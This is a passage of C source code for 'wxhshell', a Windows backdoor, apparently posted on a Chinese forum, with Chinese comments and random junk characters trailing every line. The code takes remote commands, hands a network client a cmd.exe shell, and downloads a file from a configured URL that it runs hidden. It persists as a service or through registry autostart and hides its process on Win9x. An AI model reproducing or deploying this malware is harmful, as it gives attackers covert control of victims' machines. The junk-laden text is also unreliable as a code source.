  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J}*,HT*  
  } ]S&&|Fc  
  else { i)o2klIkB  
7yG#Z)VE  
    switch(cmd[0]) { zbXI%  
  cW~}:;D4  
  // 帮助 }'5MK  
  case '?': { dWM'fg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bo,_&4?  
    break; szb_*)k  
  } i#&z2h-b  
  // 安装 .\\DKh%  
  case 'i': { _mzW'~9wN  
    if(Install()) O#n8=B4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;PF`Wj  
    else jk"`Z<j~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 45=bGf#  
    break;  Qn^'  
    } dl.N.P7}4  
  // 卸载 dah[:rP,n{  
  case 'r': { GSY(  
    if(Uninstall()) QEm|])V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d)"3K6s|5  
    else tf =6\p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !!qK=V|>  
    break; 0v6)t.]s  
    } 6h>wt-tRC  
  // 显示 wxhshell 所在路径 9V'%<pk''(  
  case 'p': { }elc `jj  
    char svExeFile[MAX_PATH]; ~< P 0]ju  
    strcpy(svExeFile,"\n\r"); a[v0%W ]u  
      strcat(svExeFile,ExeFile); 5uGqX"  
        send(wsh,svExeFile,strlen(svExeFile),0); ZWii)0'PV  
    break; t#yk ->,  
    } O1rvaOlr  
  // 重启 ~Xw"}S5  
  case 'b': { -B>++r2A^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5(Cl1Yse=r  
    if(Boot(REBOOT)) JHW "-b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D_?K"E=fw  
    else { MV! {j;g1<  
    closesocket(wsh); ,f kcp]}  
    ExitThread(0); &w4?)#  
    } `0rd26Qro  
    break; 'QG xd!4  
    } SIe="YG]<  
  // 关机 Y}@&h!  
  case 'd': { g(nPQOs$u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9Q -HeXvR  
    if(Boot(SHUTDOWN)) G=)i{oC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +QB"8-  
    else { IWBX'|}K  
    closesocket(wsh); :KH g&ZX7  
    ExitThread(0); Q.bXM?V)  
    } A_n7w  
    break; pEw"8U  
    } !y#"l$"xK  
  // 获取shell < 3(LWxw  
  case 's': { uvgdY  
    CmdShell(wsh); h}-3\8 >  
    closesocket(wsh); oYHj~t  
    ExitThread(0); XoXM ^*Vk  
    break; @<<<C?CTv  
  } K*\' .~[6  
  // 退出 kM!kD4&  
  case 'x': { d; [C6d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?8HHA: GP  
    CloseIt(wsh); %/EVUN9=  
    break; /TE_W@?^  
    } U T>s 5C  
  // 离开 T _M!<J  
  case 'q': { +_s #2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .R`5 Qds*l  
    closesocket(wsh); )js)2L~  
    WSACleanup(); #XK2Ien)Z  
    exit(1); hS_6  
    break; ?=>+LqP  
        } Ytgcs( /$  
  } $r@ =*(  
  } dCb`xR}  
| H!28h  
  // 提示信息 %el"BSB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YpQ7)_s ?  
} g! cUF+  
  } c_\YBe]wJ  
;V@WtZv  
  return; 7}1~%:6  
} ;sfb 4x4  
Ok{*fa.PK  
// shell模块句柄 $J4 *U  
int CmdShell(SOCKET sock) ( W a  
{ DvME 1]7)  
STARTUPINFO si; ~0?mBy!-O  
ZeroMemory(&si,sizeof(si)); Xsa2(-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0YaA`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k $M]3}$U  
PROCESS_INFORMATION ProcessInfo; Yj%U >),8  
char cmdline[]="cmd"; z MLK7+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'AzDP;6qFI  
  return 0; Y_}mYvJW  
} uB |Ss  
`/_o!(Z`  
// 自身启动模式 r/& sub"X  
int StartFromService(void) $Vsk Ew"|M  
{ sLh==V;9  
typedef struct tc_286'x  
{ D@G\7 KH@  
  DWORD ExitStatus; W8Q|$ZJ88F  
  DWORD PebBaseAddress; iM2W]  
  DWORD AffinityMask; wNq;;AJ$  
  DWORD BasePriority; &lR 6sb\  
  ULONG UniqueProcessId; L}GC<D:  
  ULONG InheritedFromUniqueProcessId; H&F9J ^rC  
}   PROCESS_BASIC_INFORMATION; * +'x~a  
Ny_lrfh)[  
PROCNTQSIP NtQueryInformationProcess; Z:ni$7<.  
8iW;y2qF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -r#X~2tPzD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; whonDG4WP  
@vpf[j  
  HANDLE             hProcess; HfcL%b%G8  
  PROCESS_BASIC_INFORMATION pbi; CQwL|$)]Y  
G,TM-l_uw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qe#P?[  
  if(NULL == hInst ) return 0; 17D"cP  
!)  S ?m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~n[d4qV&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CQZgMY1{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Mmj;'iYOwF  
Y^36>1.:  
  if (!NtQueryInformationProcess) return 0; v4?x.I  
Jwj%_<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); np%\&CVhN  
  if(!hProcess) return 0; aqYa{hXio  
fKp#\tCc y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *o-.6OxZ$  
gWrgnlq  
  CloseHandle(hProcess); RZ6xdq}>  
6Ztq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F&])P- !3  
if(hProcess==NULL) return 0; !(q sD+  
t^`O{m<  
HMODULE hMod; 6``'%S'#  
char procName[255]; df*5,NV'-*  
unsigned long cbNeeded; iQ4);du  
H(2!1?N+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ex+\nD>t4  
Wqc)Fv70m  
  CloseHandle(hProcess); _nD$b={g  
D,;\o7V  
if(strstr(procName,"services")) return 1; // 以服务启动 wtmB+:I  
O_cbP59Y.  
  return 0; // 注册表启动 ?gJOgsHJP  
} V~S0hqW[  
0OT\"O~S[  
// 主模块 ~ns7O  
int StartWxhshell(LPSTR lpCmdLine) HQ|MhM/"  
{ klQC2drS  
  SOCKET wsl; iS&l8@2a  
BOOL val=TRUE; m~@;~7Ix  
  int port=0; ?s\ OUr  
  struct sockaddr_in door; OS4q5;1#  
# S}Z8  
  if(wscfg.ws_autoins) Install(); [~kdPk  
48jVRo  
port=atoi(lpCmdLine); N-jTc?mT~&  
"8 ~:[G#  
if(port<=0) port=wscfg.ws_port; Glxuz0]  
N;Dni#tQ`  
  WSADATA data; O$D'.t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zS\E/.X2  
n8uv#DsdK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \ {qI4=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xfy1pS.[:  
  door.sin_family = AF_INET; [vMvV4,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fBgEnz/  
  door.sin_port = htons(port); .fN"@l  
&j?#3Qt'_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zrR`ecC(b  
closesocket(wsl); :@1eph0  
return 1; @Ys!DScY,  
} !FA# K8  
KBXK0zWh7  
  if(listen(wsl,2) == INVALID_SOCKET) { xY+VyOUs  
closesocket(wsl); {~h*2n  
return 1; .,7JAkB%t  
} zUkN 0  
  Wxhshell(wsl); YoN*:jB<M  
  WSACleanup(); bV edFm  
P~s$EJL*  
return 0; D'L'#/hK  
!O.[PH(,*  
} -RO7 'm0  
r|PFw6  
// 以NT服务方式启动 'xhcuVl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /" ${$b{  
{ $e\h}A6  
DWORD   status = 0; 1z&Ly3  
  DWORD   specificError = 0xfffffff; cTD!B% x  
uC8L\UXk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q:|l`*.R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K =C!b?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oY1';&BO9  
  serviceStatus.dwWin32ExitCode     = 0; '"?C4mbSl  
  serviceStatus.dwServiceSpecificExitCode = 0; '"<6.,Ae  
  serviceStatus.dwCheckPoint       = 0; =Zu^80/  
  serviceStatus.dwWaitHint       = 0; /n5F(5<  
%q!8={J8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T[,/5J  
  if (hServiceStatusHandle==0) return; U~} U\_  
HDda@Jy  
status = GetLastError(); {fha`i  
  if (status!=NO_ERROR) pl5P2&k  
{ Tneq6>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f6_];]yP  
    serviceStatus.dwCheckPoint       = 0; Xcrk;!IB?  
    serviceStatus.dwWaitHint       = 0; f;&]:2.j  
    serviceStatus.dwWin32ExitCode     = status; bHht d_}  
    serviceStatus.dwServiceSpecificExitCode = specificError; V?P,&c?84  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "V>R9dO{"!  
    return; Cw~RJ^a_  
  } cTXri8K_  
i `s|,"0o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H;U)b{  
  serviceStatus.dwCheckPoint       = 0; Mn$]I) $  
  serviceStatus.dwWaitHint       = 0; 3m>+-})d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  *[r!  
} tG8jFou  
~go fQ  
// 处理NT服务事件,比如:启动、停止 b+6"#/s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oEx\j+}@n  
{ y.=/J8->  
switch(fdwControl) Rx*BwZ  
{ `%E8-]{uS  
case SERVICE_CONTROL_STOP: X=6y_^  
  serviceStatus.dwWin32ExitCode = 0; P+!"wX0*N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i]=&  
  serviceStatus.dwCheckPoint   = 0; EyI}{6~F  
  serviceStatus.dwWaitHint     = 0; 4-kZJ\]  
  { !IC-)C,q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v?0r`<Mn  
  } &-czStQ  
  return; [U@ *1  
case SERVICE_CONTROL_PAUSE: WYIQE$SEv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sK"9fU  
  break; yf?h#G%24  
case SERVICE_CONTROL_CONTINUE: -*~CV:2iq-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RrhT'':[  
  break; :d0Y%vl  
case SERVICE_CONTROL_INTERROGATE: /wxE1][.  
  break; hY*0aZ|(  
}; 7R3fqU.Rq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PN$X N<  
} osOVg0Gyj  
+B'8|5tPX  
// 标准应用程序主函数 Z<#hS=eY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4<lQwV6=  
{ W(25TbQ  
65oWD-  
// 获取操作系统版本 zOHypazOTq  
OsIsNt=GetOsVer(); kWlAY%   
GetModuleFileName(NULL,ExeFile,MAX_PATH);  Og2vGzD  
p1D[YeF4  
  // 从命令行安装  cO\-  
  if(strpbrk(lpCmdLine,"iI")) Install(); t ?h kL  
[3W*9j  
  // 下载执行文件 ;uqx@sx ;  
if(wscfg.ws_downexe) { `:wvh(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f`8OM}un&  
  WinExec(wscfg.ws_filenam,SW_HIDE); Aj9Ji"18za  
} x$wd O  
[xfaj'j=@  
if(!OsIsNt) { v[TYc:L=  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~1*A  
HideProc(); `gpQW~*R-;  
StartWxhshell(lpCmdLine); q8Nn%o=5V  
} \ A%eG&  
else -/ x W  
  if(StartFromService()) .lBgp=!  
  // 以服务方式启动 !)qQbk  
  StartServiceCtrlDispatcher(DispatchTable); e8h,,:l3j  
else aup6?'G;  
  // 普通方式启动 dI*'!wK  
  StartWxhshell(lpCmdLine); DY{cQb  
e,k2vp!<&  
return 0; )9B:wc"  
}
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只看该作者 1 发表于: 2006-10-10
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